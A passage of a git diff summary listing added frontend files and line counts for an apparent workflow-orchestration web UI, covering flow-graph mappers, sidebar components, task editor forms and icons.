| 67 + .../features/flow/nodes/mapper/core.ts | 373 + .../features/flow/nodes/mapper/crumbs.test.ts | 864 + .../features/flow/nodes/mapper/crumbs.ts | 248 + .../features/flow/nodes/mapper/doWhile.ts | 92 + .../flow/nodes/mapper/edgeMapper.test.js | 210 + .../features/flow/nodes/mapper/edgeMapper.ts | 71 + .../flow/nodes/mapper/forkJoin.test.js | 11 + .../features/flow/nodes/mapper/forkJoin.ts | 99 + .../flow/nodes/mapper/forkJoinDynamic.ts | 17 + .../features/flow/nodes/mapper/index.ts | 17 + .../features/flow/nodes/mapper/join.test.js | 231 + .../features/flow/nodes/mapper/join.ts | 260 + .../features/flow/nodes/mapper/layout.js | 119 + .../features/flow/nodes/mapper/ports.ts | 34 + .../features/flow/nodes/mapper/predicates.ts | 47 + .../flow/nodes/mapper/subWorkflow.test.js | 118 + .../features/flow/nodes/mapper/subWorkflow.ts | 106 + .../features/flow/nodes/mapper/switch.test.js | 1156 + .../features/flow/nodes/mapper/switch.ts | 506 + .../features/flow/nodes/mapper/terminal.ts | 89 + .../features/flow/nodes/mapper/terminate.ts | 26 + .../features/flow/nodes/mapper/types.ts | 38 + .../features/flow/state/FlowActorContext.tsx | 12 + .../components/features/flow/state/action.ts | 191 + .../features/flow/state/context.tsx | 14 + .../components/features/flow/state/guards.ts | 15 + .../components/features/flow/state/helpers.js | 11 + .../components/features/flow/state/hook.ts | 135 + .../components/features/flow/state/index.ts | 3 + .../components/features/flow/state/machine.ts | 242 + .../features/flow/state/selectors.ts | 24 + .../components/features/flow/state/service.ts | 103 + .../components/features/flow/state/types.ts | 188 + .../src/components/features/flow/testUtils.js | 45 + ui-next/src/components/features/flow/theme.ts | 129 + .../getStartedSample/GetStartedSample.tsx | 158 + .../components/CodeSnippet.tsx | 58 + .../features/getStartedSample/types.ts | 19 + .../features/search/SearchEverything.tsx | 311 + .../features/search/SearchWrapper.tsx | 81 + .../features/search/state/actions.ts | 46 + .../features/search/state/helpers.test.ts | 407 + .../features/search/state/helpers.ts | 228 + .../components/features/search/state/hook.ts | 128 + .../components/features/search/state/index.ts | 3 + .../features/search/state/machine.ts | 109 + .../features/search/state/services.ts | 105 + .../components/features/search/state/types.ts | 82 + .../components/features/tags/AddTagDialog.tsx | 176 + .../features/tags/ReplaceTagsInput.tsx | 135 + .../src/components/features/tags/tagUtils.ts | 1 + .../components/features/testTask/TestTask.tsx | 473 + .../src/components/features/testTask/index.ts | 1 + ui-next/src/components/icons/AddIcon.tsx | 17 + .../src/components/icons/AnnouncementIcon.tsx | 16 + .../src/components/icons/ArrowDownIcon.tsx | 18 + ui-next/src/components/icons/ArrowUpIcon.tsx | 18 + ui-next/src/components/icons/ChatIcon.tsx | 16 + .../src/components/icons/CircleCheckIcon.tsx | 25 + ui-next/src/components/icons/CopyIcon.tsx | 17 + ui-next/src/components/icons/DatetimeIcon.tsx | 19 + ui-next/src/components/icons/DocsIcon.tsx | 17 + .../components/icons/DoubleArrowLeftIcon.tsx | 21 + .../components/icons/DoubleArrowRightIcon.tsx | 21 + ui-next/src/components/icons/DownloadIcon.tsx | 17 + ui-next/src/components/icons/DropdownIcon.tsx | 17 + ui-next/src/components/icons/EnterIcon.tsx | 18 + ui-next/src/components/icons/ExitIcon.tsx | 29 + ui-next/src/components/icons/ExpandIcon.tsx | 42 + ui-next/src/components/icons/FilterIcon.tsx | 17 + ui-next/src/components/icons/InfoIcon.tsx | 17 + .../src/components/icons/NewIntegration.tsx | 16 + ui-next/src/components/icons/OpenIcon.tsx | 26 + ui-next/src/components/icons/PlayIcon.tsx | 19 + ui-next/src/components/icons/PythonIcon.tsx | 56 + ui-next/src/components/icons/RefreshIcon.tsx | 31 + .../src/components/icons/RequestACallIcon.tsx | 17 + ui-next/src/components/icons/ResetIcon.tsx | 17 + ui-next/src/components/icons/RunIcon.tsx | 23 + ui-next/src/components/icons/Save.tsx | 17 + ui-next/src/components/icons/SaveIcon.tsx | 17 + ui-next/src/components/icons/SearchIcon.tsx | 17 + ui-next/src/components/icons/ShowViewIcon.tsx | 17 + ui-next/src/components/icons/TestIcon.tsx | 26 + ui-next/src/components/icons/TimeIcon.tsx | 19 + ui-next/src/components/icons/TrashIcon.tsx | 17 + ui-next/src/components/icons/UnlockIcon.tsx | 16 + ui-next/src/components/icons/XCloseIcon.tsx | 19 + ui-next/src/components/index.ts | 36 + .../inputs/AdvancedSearchFieldPopper.tsx | 211 + .../inputs/ConductorNameVersionField.tsx | 162 + .../inputs/ConductorUpdateTaskFromEvent.tsx | 116 + ui-next/src/components/integrationIconMap.ts | 30 + .../src/components/layout/SectionHeader.tsx | 92 + .../layout/SideAndTopBarsLayout.tsx | 22 + .../layout/header/AnnouncementBanner.tsx | 245 + .../components/layout/header/ButtonLinks.tsx | 167 + .../components/layout/header/bannerUtils.ts | 25 + .../layout/section/ConductorSectionHeader.tsx | 153 + .../messageContext/MessageContext.tsx | 10 + .../messageContext/MessageProvider.tsx | 31 + .../providers/messageContext/index.ts | 2 + .../providers/sidebar/BaseSubMenu.tsx | 92 + .../providers/sidebar/ClosedLogo.tsx | 24 + .../providers/sidebar/HotKeysButton.tsx | 79 + .../providers/sidebar/OpenedLogo.tsx | 72 + .../providers/sidebar/RunWorkflowButton.tsx | 59 + .../components/providers/sidebar/Sidebar.tsx | 203 + .../providers/sidebar/SidebarFooter.tsx | 293 + .../providers/sidebar/SidebarHeader.tsx | 105 + .../providers/sidebar/SidebarItem.tsx | 470 + .../providers/sidebar/SidebarMenu.tsx | 137 + .../providers/sidebar/SidebarToggleButton.tsx | 54 + .../providers/sidebar/SidebarVersionBlock.tsx | 89 + .../components/providers/sidebar/SubMenu.tsx | 88 + .../providers/sidebar/UiSidebar.tsx | 209 + .../components/providers/sidebar/UserInfo.tsx | 107 + .../__tests__/sidebarCoreItems.test.tsx | 220 + .../components/providers/sidebar/constants.ts | 2 + .../sidebar/context/SidebarContext.tsx | 46 + .../context/SidebarContextProvider.tsx | 201 + .../providers/sidebar/createSidebar.ts | 186 + .../sidebar/hooks/usePendingTasksCount.ts | 7 + .../sidebar/hooks/useSidebarHover.ts | 78 + .../src/components/providers/sidebar/index.ts | 4 + .../providers/sidebar/sidebarCoreItems.tsx | 322 + .../components/providers/sidebar/styles.ts | 57 + .../src/components/providers/sidebar/types.ts | 54 + .../ReactHookFormFlatMapForm.tsx | 88 + .../ReactHookFormIdempotencyForm.test.tsx | 46 + .../ReactHookFormIdempotencyForm.tsx | 87 + .../ReactHookFormNameVersionField.test.tsx | 108 + .../ReactHookFormNameVersionField.tsx | 91 + ui-next/src/components/ui/ActionAlert.tsx | 77 + ui-next/src/components/ui/ArrowBox.tsx | 77 + ui-next/src/components/ui/CenteredSpinner.tsx | 28 + ui-next/src/components/ui/ClipboardCopy.tsx | 111 + ui-next/src/components/ui/CodeSnippet.tsx | 57 + ui-next/src/components/ui/ConductorSlider.tsx | 57 + .../ui/ConductorSliderStateless.tsx | 115 + .../src/components/ui/ConductorTooltip.tsx | 80 + .../ui/DataTable/ColumnSelector.tsx | 121 + .../src/components/ui/DataTable/DataTable.tsx | 568 + .../src/components/ui/DataTable/Filter.tsx | 104 + .../components/ui/DataTable/QuickSearch.tsx | 82 + .../ui/DataTable/TableRefreshButton.tsx | 31 + .../components/ui/DataTable/helpers.test.ts | 180 + .../src/components/ui/DataTable/helpers.ts | 147 + ui-next/src/components/ui/DataTable/index.ts | 2 + .../components/ui/DataTable/state/actions.ts | 32 + .../components/ui/DataTable/state/guards.ts | 16 + .../components/ui/DataTable/state/index.ts | 2 + .../components/ui/DataTable/state/machine.ts | 95 + .../components/ui/DataTable/state/services.ts | 39 + .../components/ui/DataTable/state/types.ts | 56 + ui-next/src/components/ui/DataTable/styles.ts | 115 + ui-next/src/components/ui/DataTable/types.ts | 30 + ui-next/src/components/ui/DateRangePicker.tsx | 85 + ui-next/src/components/ui/DiffEditor.tsx | 18 + ui-next/src/components/ui/DocLink.tsx | 39 + ui-next/src/components/ui/Error.tsx | 118 + .../src/components/ui/FloatingMuiAlert.tsx | 49 + ui-next/src/components/ui/Header.tsx | 5 + ui-next/src/components/ui/Heading.tsx | 15 + ui-next/src/components/ui/LinearProgress.tsx | 16 + ui-next/src/components/ui/MuiAlert.tsx | 15 + ui-next/src/components/ui/MuiCheckbox.tsx | 6 + ui-next/src/components/ui/MuiTypography.tsx | 31 + ui-next/src/components/ui/NavLink.tsx | 50 + ui-next/src/components/ui/NoDataComponent.tsx | 65 + ui-next/src/components/ui/PanelAccordion.tsx | 86 + ui-next/src/components/ui/Paper.tsx | 18 + ui-next/src/components/ui/Puller.tsx | 17 + ui-next/src/components/ui/SnackbarMessage.tsx | 63 + ui-next/src/components/ui/SpinningIcon.tsx | 19 + ui-next/src/components/ui/StackTrace.tsx | 41 + ui-next/src/components/ui/StrikedText.tsx | 23 + .../components/ui/SwaggerTestComponent.tsx | 383 + ui-next/src/components/ui/Tabs.tsx | 89 + ui-next/src/components/ui/TagChip.tsx | 28 + ui-next/src/components/ui/TagList.tsx | 43 + ui-next/src/components/ui/Text.tsx | 15 + .../src/components/ui/TooltipStateless.tsx | 85 + ui-next/src/components/ui/TwoPanesDivider.tsx | 218 + ui-next/src/components/ui/UnderlinedText.tsx | 40 + .../components/ui/buttons/ActionButton.tsx | 53 + .../src/components/ui/buttons/ButtonGroup.jsx | 20 + .../components/ui/buttons/ButtonTooltip.tsx | 66 + .../ui/buttons/ConductorSplitButton.tsx | 194 + .../components/ui/buttons/CustomButton.tsx | 48 + .../components/ui/buttons/DropdownButton.tsx | 154 + .../src/components/ui/buttons/MuiButton.tsx | 4 + .../components/ui/buttons/MuiButtonGroup.tsx | 6 + .../components/ui/buttons/MuiIconButton.tsx | 6 + .../src/components/ui/buttons/SplitButton.jsx | 83 + .../ui/date-time/ConductorDateRangePicker.tsx | 91 + .../ui/date-time/ConductorDateTimePicker.tsx | 60 + .../ConductorSingleDateRangePicker.tsx | 75 + .../ui/date-time/ConductorTimePicker.tsx | 60 + .../ui/date-time/CustomDateRangePicker.scss | 146 + .../ui/dialogs/ConfirmChoiceDialog.tsx | 135 + .../ui/dialogs/Modal/ConfirmModal.tsx | 124 + .../ui/dialogs/Modal/UnsavedChangesDialog.tsx | 106 + .../ui/dialogs/Modal/commonStyles.ts | 37 + .../components/ui/dialogs/TooltipModal.tsx | 89 + ui-next/src/components/ui/dialogs/UIModal.tsx | 224 + ui-next/src/components/ui/diff-editor.css | 3 + .../ui/inputs/AutoCompleteWithDescription.tsx | 102 + .../components/ui/inputs/CodeBlockInput.tsx | 151 + .../ui/inputs/CodeBlockInputWrapper.tsx | 412 + .../ui/inputs/ConductorArrayField.tsx | 223 + .../ui/inputs/ConductorAutoComplete.tsx | 159 + .../ConductorAutoCompleteWithDescription.tsx | 116 + .../ui/inputs/ConductorCheckbox.tsx | 31 + .../ui/inputs/ConductorCodeBlockInput.tsx | 131 + .../ui/inputs/ConductorEmptyGroupField.tsx | 77 + .../ui/inputs/ConductorGroupContainer.tsx | 14 + .../ui/inputs/ConductorGroupFieldTitle.tsx | 34 + .../components/ui/inputs/ConductorInput.tsx | 428 + .../ui/inputs/ConductorInputNumber.tsx | 88 + .../ui/inputs/ConductorMultiSelect.tsx | 124 + .../components/ui/inputs/ConductorSelect.tsx | 182 + .../inputs/ConductorStringArrayFormField.tsx | 109 + .../ui/inputs/CopyClipboardButton.tsx | 45 + ui-next/src/components/ui/inputs/Dropdown.tsx | 145 + .../src/components/ui/inputs/EditInPlace.tsx | 78 + .../ui/inputs/EventExpressionHelp.tsx | 228 + .../components/ui/inputs/FileUploadButton.tsx | 143 + .../src/components/ui/inputs/HelperText.jsx | 11 + .../src/components/ui/inputs/InlineEdit.tsx | 139 + ui-next/src/components/ui/inputs/Input.tsx | 106 + .../src/components/ui/inputs/InputNumber.tsx | 81 + .../ui/inputs/MultiOptionSelect.tsx | 87 + .../components/ui/inputs/RadioButtonGroup.tsx | 66 + .../src/components/ui/inputs/RoundedInput.tsx | 144 + ui-next/src/components/ui/inputs/Select.tsx | 39 + .../ui/inputs/StringArrayFormField.tsx | 92 + .../ui/inputs/SubmitFormWrapper.jsx | 13 + ui-next/src/components/ui/inputs/index.ts | 2 + .../src/components/ui/layout/BaseLayout.tsx | 148 + .../ui/layout/ConductorBreadcrumbs.tsx | 66 + .../components/ui/layout/ConductorTabs.tsx | 61 + ui-next/src/components/ui/layout/HeadTabs.tsx | 65 + .../components/ui/layout/SectionContainer.tsx | 52 + .../ui/layout/SectionHeaderActions.tsx | 68 + .../ReactHookFormCheckbox.test.tsx | 54 + .../react-hook-form/ReactHookFormCheckbox.tsx | 82 + .../ReactHookFormDropdown.test.tsx | 105 + .../react-hook-form/ReactHookFormDropdown.tsx | 89 + .../react-hook-form/ReactHookFormEditor.tsx | 43 + .../ReactHookFormInput.test.tsx | 73 + .../ui/react-hook-form/ReactHookFormInput.tsx | 81 + .../growthbook/MaybeGrowthbookProvider.tsx | 21 + ui-next/src/growthbook/growthbookInstance.ts | 25 + ui-next/src/growthbook/plugins.ts | 293 + .../growthbook/useMaybeIdentifyGrowthbook.tsx | 19 + ui-next/src/images/401-Error.png | Bin 0 -> 385097 bytes ui-next/src/images/svg/banner-icon.svg | 36 + ui-next/src/images/svg/c-plus-plus-logo.svg | 21 + ui-next/src/images/svg/c-sharp-logo.svg | 12 + ui-next/src/images/svg/discourse-logo.svg | 8 + ui-next/src/images/svg/email-not-verified.svg | 37 + ui-next/src/images/svg/go-lang-logo.svg | 44 + ui-next/src/images/svg/java-logo.svg | 11 + ui-next/src/images/svg/javascript-logo.svg | 11 + .../src/images/svg/learning-window-test.svg | 10 + ui-next/src/images/svg/news.svg | 3 + ui-next/src/images/svg/orkes-icon.svg | 36 + ui-next/src/images/svg/orkes-logo.svg | 41 + ui-next/src/images/svg/playIcon.svg | 3 + ui-next/src/images/svg/python-logo.svg | 10 + .../src/images/svg/slack-logo-transparent.svg | 9 + ui-next/src/images/svg/token.svg | 14 + ui-next/src/images/svg/user-not-found.svg | 65 + ui-next/src/images/svg/welcome-modal.svg | 9 + ui-next/src/index.css | 59 + ui-next/src/index.ts | 200 + ui-next/src/main.tsx | 56 + ui-next/src/pages/agent/AgentDefinitions.tsx | 130 + ui-next/src/pages/agent/AgentExecutions.tsx | 116 + .../src/pages/agent/CreateAgentSdkModal.tsx | 52 + ui-next/src/pages/agent/Secrets.tsx | 82 + ui-next/src/pages/agent/Skills.tsx | 99 + ui-next/src/pages/agent/index.ts | 4 + ui-next/src/pages/agent/types.ts | 57 + .../src/pages/apiDocs/ApiReferencePage.tsx | 37 + .../src/pages/creatorFlags/CreatorFlags.tsx | 1088 + .../src/pages/definition/ConfirmDialog.tsx | 30 + .../ConfirmLocalCopyDialog.tsx | 65 + .../ConfirmLocalCopyDialog/state/actions.ts | 29 + .../ConfirmLocalCopyDialog/state/hook.ts | 15 + .../ConfirmLocalCopyDialog/state/index.ts | 3 + .../ConfirmLocalCopyDialog/state/machine.ts | 81 + .../ConfirmLocalCopyDialog/state/service.ts | 71 + .../ConfirmLocalCopyDialog/state/types.ts | 54 + .../definition/EditorPanel/AssistantPanel.tsx | 98 + .../EditorPanel/AssistantPanelHeader.tsx | 206 + .../EditorPanel/CodeEditorTab/CodeTab.tsx | 286 + .../MonacoDefinitionOverrides.scss | 23 + .../EditorPanel/CodeEditorTab/index.ts | 1 + .../CodeEditorTab/state/actions.ts | 49 + .../EditorPanel/CodeEditorTab/state/hook.ts | 32 + .../EditorPanel/CodeEditorTab/state/index.ts | 2 + .../CodeEditorTab/state/machine.ts | 58 + .../EditorPanel/CodeEditorTab/state/types.ts | 59 + .../EditorPanel/ConfirmationDialogs.tsx | 66 + .../definition/EditorPanel/CustomTooltip.tsx | 104 + .../DependenciesTab/DependenciesTab.tsx | 73 + .../definition/EditorPanel/EditorPanel.tsx | 464 + .../definition/EditorPanel/EditorTabs.tsx | 319 + .../EditorPanel/HeadActionButtons.tsx | 268 + .../EditorPanel/RunWorkflowButton.tsx | 34 + .../definition/EditorPanel/TabContent.tsx | 150 + .../EditorPanel/TaskFormTab/TaskForm.tsx | 79 + .../TaskFormTab/TaskFormContent.tsx | 601 + .../TaskFormTab/TaskStats/CountBar.tsx | 50 + .../TaskFormTab/TaskStats/RangeButtons.tsx | 43 + .../TaskFormTab/TaskStats/TaskRateChart.tsx | 57 + .../TaskFormTab/TaskStats/TaskStats.tsx | 123 + .../TaskFormTab/TaskStats/state/actions.ts | 54 + .../TaskFormTab/TaskStats/state/guards.ts | 6 + .../TaskFormTab/TaskStats/state/index.ts | 2 + .../TaskFormTab/TaskStats/state/machine.ts | 94 + .../TaskFormTab/TaskStats/state/services.ts | 40 + .../TaskFormTab/TaskStats/state/types.ts | 61 + .../TaskFormTab/forms/AgentTaskForm.tsx | 225 + .../TaskFormTab/forms/ArrayForm.tsx | 101 + .../TaskFormTab/forms/BusinessRuleForm.tsx | 154 + .../TaskFormTab/forms/CallMcpToolTaskForm.tsx | 118 + .../TaskFormTab/forms/CancelAgentTaskForm.tsx | 76 + .../TaskFormTab/forms/ChunkTextTaskForm.tsx | 578 + .../forms/ConductorCacheOutputForm.tsx | 107 + ...ConductorFlexibleAutoCompleteVariables.tsx | 84 + .../forms/ConductorObjectOrStringInput.tsx | 104 + .../TaskFormTab/forms/ConductorValueInput.tsx | 107 + .../DoWhileTaskForm/DoWhileCodeBlock.tsx | 225 + .../forms/DoWhileTaskForm/DoWhileForm.tsx | 289 + .../forms/DoWhileTaskForm/common.ts | 53 + .../forms/DoWhileTaskForm/index.ts | 1 + .../forms/DoWhileTaskForm/sampleScripts.ts | 40 + .../forms/DynamicForkOperatorForm.tsx | 73 + .../TaskFormTab/forms/DynamicOperatorForm.tsx | 56 + .../TaskFormTab/forms/EnforceSchemaForm.tsx | 55 + .../forms/EventTaskForm/EventTaskForm.tsx | 82 + .../TaskFormTab/forms/EventTaskForm/index.ts | 1 + .../TaskFormTab/forms/FieldTypeDropdown.tsx | 75 + .../forms/FlexibleAutoCompleteVariables.tsx | 69 + .../forms/GRPCTaskForm/GRPCTaskForm.tsx | 535 + .../TaskFormTab/forms/GRPCTaskForm/index.ts | 1 + .../TaskFormTab/forms/GRPCTaskForm/types.ts | 6 + .../forms/GenerateAudioTaskForm.tsx | 115 + .../forms/GenerateImageTaskForm.tsx | 139 + .../TaskFormTab/forms/GeneratePdfTaskForm.tsx | 148 + .../forms/GenerateVideoTaskForm.tsx | 281 + .../forms/GetAgentCardTaskForm.tsx | 69 + .../TaskFormTab/forms/GetDocumentTaskForm.tsx | 43 + .../TaskFormTab/forms/GetSignedJwtForm.tsx | 166 + .../GetWorkflowTaskForm.tsx | 54 + .../forms/GetWorkflowTaskForm/index.ts | 1 + .../ConductorAdditionalHeaders.tsx | 227 + .../HTTPTaskForm/EditTaskDefConfigModal.tsx | 225 + .../TaskFormTab/forms/HTTPTaskForm/Encode.tsx | 33 + .../forms/HTTPTaskForm/HTTPPollTaskForm.tsx | 405 + .../forms/HTTPTaskForm/HTTPTaskForm.tsx | 528 + .../TaskFormTab/forms/HTTPTaskForm/common.ts | 156 + .../TaskFormTab/forms/HTTPTaskForm/index.ts | 2 + .../forms/HTTPTaskForm/state/actions.ts | 93 + .../forms/HTTPTaskForm/state/helper.ts | 8 + .../forms/HTTPTaskForm/state/hook.ts | 171 + .../forms/HTTPTaskForm/state/machine.ts | 135 + .../forms/HTTPTaskForm/state/services.ts | 127 + .../forms/HTTPTaskForm/state/types.ts | 93 + .../TaskFormTab/forms/HTTPTaskForm/types.ts | 6 + .../TaskFormTab/forms/HedgingConfigForm.tsx | 64 + .../forms/INLINETaskForm/INLINETaskForm.tsx | 133 + .../forms/INLINETaskForm/InlineCodeBlock.tsx | 227 + .../TaskFormTab/forms/INLINETaskForm/index.ts | 1 + .../TaskFormTab/forms/JDBCTaskForm.tsx | 191 + .../forms/JOINTaskForm/JOINTaskForm.tsx | 309 + .../forms/JOINTaskForm/JoinCodeBlock.tsx | 248 + .../TaskFormTab/forms/JOINTaskForm/index.ts | 1 + .../TaskFormTab/forms/JSONField.tsx | 55 + .../TaskFormTab/forms/JSONJQTransformForm.tsx | 66 + .../TaskFormTab/forms/KafkaTaskForm.tsx | 127 + .../TaskFormTab/forms/LLMChainTaskForm.tsx | 124 + .../forms/LLMChatCompleteTaskForm.tsx | 130 + .../LLMFormFields/ConductorArrayMapForm.tsx | 143 + .../forms/LLMFormFields/LLMFormFields.tsx | 70 + .../LLMFormFields/LLMFormFieldsWrapper.tsx | 182 + .../TaskFormTab/forms/LLMFormFields/index.ts | 1 + .../forms/LLMFormFields/state/actions.ts | 55 + .../forms/LLMFormFields/state/index.ts | 2 + .../forms/LLMFormFields/state/machine.ts | 150 + .../forms/LLMFormFields/state/services.ts | 156 + .../forms/LLMFormFields/state/types.ts | 73 + .../forms/LLMGenerateEmbeddingsTaskForm.tsx | 71 + .../forms/LLMGetEmbeddingsTaskForm.tsx | 66 + .../forms/LLMIndexDocumentTaskForm.tsx | 150 + .../forms/LLMIndexTextTaskForm.tsx | 86 + .../forms/LLMSearchEmbeddingsTaskForm.tsx | 140 + .../forms/LLMSearchIndexTaskForm.tsx | 83 + .../forms/LLMStoreEmbeddingsTaskForm.tsx | 90 + .../forms/LLMTextCompleteTaskForm.tsx | 100 + .../TaskFormTab/forms/ListFilesTaskForm.tsx | 305 + .../forms/ListMcpToolsTaskForm.tsx | 55 + .../TaskFormTab/forms/MCPTaskForm.tsx | 449 + .../TaskFormTab/forms/MaybeVariable.tsx | 106 + .../TaskFormTab/forms/OpsGenieTaskForm.tsx | 181 + .../TaskFormTab/forms/OptionalFieldForm.tsx | 34 + .../forms/ParseDocumentTaskForm.tsx | 578 + .../MetricsTypeForm.tsx | 82 + .../QueryProcessorTaskForm.tsx | 247 + .../forms/QueryProcessorTaskForm/index.ts | 1 + .../TaskFormTab/forms/RateLimitConfigForm.tsx | 82 + .../TaskFormTab/forms/SchemaForm.tsx | 316 + .../TaskFormTab/forms/SendgridForm.tsx | 154 + .../forms/ServiceRegistrySelector.tsx | 427 + .../forms/SetVariableOperatorForm.tsx | 40 + .../forms/SimpleTaskForm/SampleCode.ts | 494 + .../forms/SimpleTaskForm/SimpleTaskForm.tsx | 293 + .../forms/SimpleTaskForm/TemplateKeys.tsx | 176 + .../TaskFormTab/forms/SimpleTaskForm/index.ts | 1 + .../TaskFormTab/forms/SimpleTaskNameInput.tsx | 370 + .../StartWorkflowTaskForm.tsx | 301 + .../forms/StartWorkflowTaskForm/index.ts | 1 + .../StartWorkflowTaskForm/state/actions.ts | 43 + .../forms/StartWorkflowTaskForm/state/hook.ts | 46 + .../StartWorkflowTaskForm/state/index.ts | 2 + .../state/machine.test.ts | 86 + .../StartWorkflowTaskForm/state/machine.ts | 60 + .../StartWorkflowTaskForm/state/service.ts | 26 + .../StartWorkflowTaskForm/state/types.ts | 25 + .../SubWorkflowOperatorForm.tsx | 356 + .../forms/SubWorkflowOperatorForm/index.ts | 1 + .../forms/SubWorkflowOperatorForm/types.ts | 3 + .../forms/SwitchTaskForm/SwitchCodeBlock.tsx | 213 + .../SwitchTaskForm/SwitchOperatorForm.tsx | 230 + .../TaskFormTab/forms/SwitchTaskForm/index.ts | 1 + .../TaskFormTab/forms/TaskFormFooter.tsx | 196 + .../forms/TaskFormHeader/TaskFormHeader.tsx | 54 + .../TaskFormHeader/TaskFormHeaderSimple.tsx | 129 + .../TaskFormHeader/TaskFormHeaderTasks.tsx | 109 + .../forms/TaskFormHeader/state/actions.ts | 83 + .../forms/TaskFormHeader/state/hook.ts | 35 + .../forms/TaskFormHeader/state/index.ts | 3 + .../forms/TaskFormHeader/state/machine.ts | 58 + .../forms/TaskFormHeader/state/types.ts | 58 + .../TaskFormTab/forms/TaskFormSection.tsx | 168 + .../TaskFormTab/forms/TaskFormStyles.ts | 99 + .../forms/TerminateOperatorForm.tsx | 78 + .../forms/TerminateWorkflowForm.tsx | 80 + .../TestTaskButton/OpenTestTaskButton.tsx | 35 + .../forms/TestTaskButton/TestTaskButton.tsx | 75 + .../TaskFormTab/forms/TestTaskButton/index.ts | 3 + .../forms/TestTaskButton/state/actions.ts | 33 + .../forms/TestTaskButton/state/hook.ts | 55 + .../forms/TestTaskButton/state/index.ts | 2 + .../forms/TestTaskButton/state/machine.ts | 103 + .../forms/TestTaskButton/state/service.ts | 93 + .../forms/TestTaskButton/state/types.ts | 49 + .../TaskFormTab/forms/UnknownTaskForm.tsx | 30 + .../UpdateSecretForm/UpdateSecretTaskForm.tsx | 62 + .../forms/UpdateSecretForm/index.ts | 3 + .../forms/UpdateTaskForm/UpdateTaskForm.tsx | 95 + .../UpdateTaskForm/UpdateTaskFromEvent.tsx | 130 + .../forms/UpdateTaskForm/common.ts | 18 + .../TaskFormTab/forms/UpdateTaskForm/index.ts | 1 + .../WaitForWebhookTaskForm.tsx | 44 + .../forms/WaitForWebhookForm/index.ts | 3 + .../WaitTaskForm/DurationWaitTaskForm.tsx | 92 + .../forms/WaitTaskForm/SelectWaitType.tsx | 71 + .../forms/WaitTaskForm/UntilWaitTaskForm.tsx | 162 + .../forms/WaitTaskForm/WaitTaskForm.tsx | 194 + .../TaskFormTab/forms/WaitTaskForm/helpers.ts | 64 + .../TaskFormTab/forms/WaitTaskForm/index.ts | 1 + .../TaskFormTab/forms/WaitTaskForm/types.ts | 12 + .../TaskFormTab/forms/YieldTaskForm.tsx | 61 + .../TaskFormTab/forms/editorConfig.ts | 24 + .../forms/hooks/useSchemaFormHandler.ts | 110 + .../TaskFormTab/forms/hooks/useTaskForm.ts | 15 + .../EditorPanel/TaskFormTab/forms/index.ts | 49 + .../TaskFormTab/forms/maybeVariableHOC.tsx | 41 + .../EditorPanel/TaskFormTab/forms/types.ts | 14 + .../TaskFormTab/forms/useGetSetHandler.ts | 13 + .../EditorPanel/TaskFormTab/helpers.test.ts | 190 + .../EditorPanel/TaskFormTab/helpers.ts | 341 + .../EditorPanel/TaskFormTab/index.ts | 2 + .../state/TaskFormContext/TaskFormContext.tsx | 6 + .../TaskFormContext/TaskFormProvider.tsx | 11 + .../state/TaskFormContext/index.ts | 2 + .../state/TaskFormContext/types.ts | 8 + .../EditorPanel/TaskFormTab/state/actions.ts | 147 + .../EditorPanel/TaskFormTab/state/guards.ts | 10 + .../EditorPanel/TaskFormTab/state/index.ts | 3 + .../EditorPanel/TaskFormTab/state/machine.ts | 80 + .../EditorPanel/TaskFormTab/state/types.ts | 75 + .../TaskFormTab/taskDescription.ts | 108 + .../ActorToHandlerValue.tsx | 34 + .../WorkflowPropertiesForm.tsx | 530 + .../WorkflowPropertiesFormTab/index.ts | 1 + .../state/actions.ts | 25 + .../WorkflowPropertiesFormTab/state/hook.ts | 145 + .../WorkflowPropertiesFormTab/state/index.ts | 3 + .../state/machine.ts | 40 + .../WorkflowPropertiesFormTab/state/types.ts | 28 + .../src/pages/definition/EditorPanel/hook.ts | 92 + .../pages/definition/EditorPanel/selectors.ts | 11 + .../definition/EventHandler/EventHandler.tsx | 224 + .../EventHandler/SaveProtectionPrompt.tsx | 173 + .../eventhandlers/EventHandlerButton.tsx | 210 + .../eventhandlers/EventHandlerEditor.tsx | 106 + .../ActionForms/CompleteTask.tsx | 69 + .../FormComponent/ActionForms/FailTask.tsx | 70 + .../ActionForms/StartWorkflowTask.tsx | 235 + .../ActionForms/TerminateWorkflowTask.tsx | 76 + .../ActionForms/UpdateWorkflowTask.tsx | 100 + .../FormComponent/ActionForms/common.ts | 45 + .../FormComponent/EventHandlerForm.tsx | 258 + .../FormComponent/state/actions.ts | 97 + .../eventhandlers/FormComponent/state/hook.ts | 63 + .../FormComponent/state/machine.ts | 63 + .../FormComponent/state/types.ts | 110 + .../eventhandlers/eventHandlerSchema.ts | 75 + .../eventhandlers/state/actions.ts | 153 + .../eventhandlers/state/guards.ts | 25 + .../EventHandler/eventhandlers/state/hook.ts | 243 + .../EventHandler/eventhandlers/state/index.ts | 2 + .../eventhandlers/state/machine.ts | 315 + .../eventhandlers/state/services.ts | 116 + .../EventHandler/eventhandlers/state/types.ts | 153 + .../pages/definition/EventHandler/index.ts | 3 + ui-next/src/pages/definition/GraphPanel.tsx | 145 + .../definition/ImportSuccessfulDialog.tsx | 52 + .../src/pages/definition/PromptIfChanges.tsx | 118 + .../RunWorkflow/RunWorkflowForm.tsx | 158 + .../RunWorkflow/RunWorkflowHistoryTable.tsx | 192 + .../src/pages/definition/RunWorkflow/index.ts | 1 + .../definition/RunWorkflow/state/actions.ts | 169 + .../definition/RunWorkflow/state/hook.ts | 136 + .../definition/RunWorkflow/state/index.ts | 5 + .../definition/RunWorkflow/state/machine.ts | 89 + .../definition/RunWorkflow/state/services.ts | 77 + .../definition/RunWorkflow/state/types.ts | 136 + .../pages/definition/WorkflowDefinition.tsx | 123 + .../EditInPlaceFieldWrapper.tsx | 69 + .../EditInPlaceWrapper/state/actions.ts | 21 + .../EditInPlaceWrapper/state/guards.ts | 12 + .../EditInPlaceWrapper/state/index.ts | 2 + .../EditInPlaceWrapper/state/machine.ts | 55 + .../EditInPlaceWrapper/state/types.ts | 36 + .../WorkflowMetadata/WorkflowMetaBar.tsx | 213 + .../definition/WorkflowMetadata/index.ts | 1 + .../WorkflowMetadataContext.tsx | 7 + .../WorkflowMetadataProvider.tsx | 11 + .../state/WorkflowMetadataContext/index.ts | 2 + .../state/WorkflowMetadataContext/types.ts | 8 + .../WorkflowMetadata/state/actions.ts | 96 + .../WorkflowMetadata/state/guards.ts | 12 + .../definition/WorkflowMetadata/state/hook.ts | 30 + .../WorkflowMetadata/state/index.ts | 4 + .../WorkflowMetadata/state/machine.ts | 91 + 